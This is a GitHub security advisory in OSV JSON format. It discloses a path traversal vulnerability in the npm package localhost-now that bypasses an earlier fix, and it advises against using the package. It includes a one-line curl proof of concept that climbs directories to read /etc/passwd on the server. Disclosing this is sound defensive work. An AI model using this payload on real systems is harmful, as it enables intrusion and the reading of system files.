{ "schema_version": "1.4.0", "id": "GHSA-73cw-jxmm-qpgh", "modified": "2020-08-31T18:31:31Z", "published": "2019-06-11T16:40:48Z", "aliases": [], "summary": "Path Traversal in localhost-now", "details": "All versions of `localhost-now` are vulnerable to path traversal. This vulnerability is a bypass to the path traversal fix introduced in version 1.0.2\n\nProof of concept:\n\n```\n$ curl -v --path-as-is \"http://IP:5432/..././..././..././..././..././..././..././..././..././..././etc/passwd\" \n```\n\n\n## Recommendation\n\nNo fix is currently available for this vulnerability. It is our recommendation to not install or use this module until a fix is available.\n ", "severity": [], "affected": [ { "package": { "ecosystem": "npm", "name": "localhost-now" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" }, { "last_affected": "1.0.2" } ] } ] } ], "references": [ { "type": "WEB", "url": "https://hackerone.com/reports/329837" }, { "type": "WEB", "url": "https://github.com/DCKT/localhost-now/blob/master/lib/app.js#L17" }, { "type": "WEB", "url": "https://www.npmjs.com/advisories/655" } ], "database_specific": { "cwe_ids": [ "CWE-22" ], "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2019-06-11T16:40:34Z", "nvd_published_at": null } }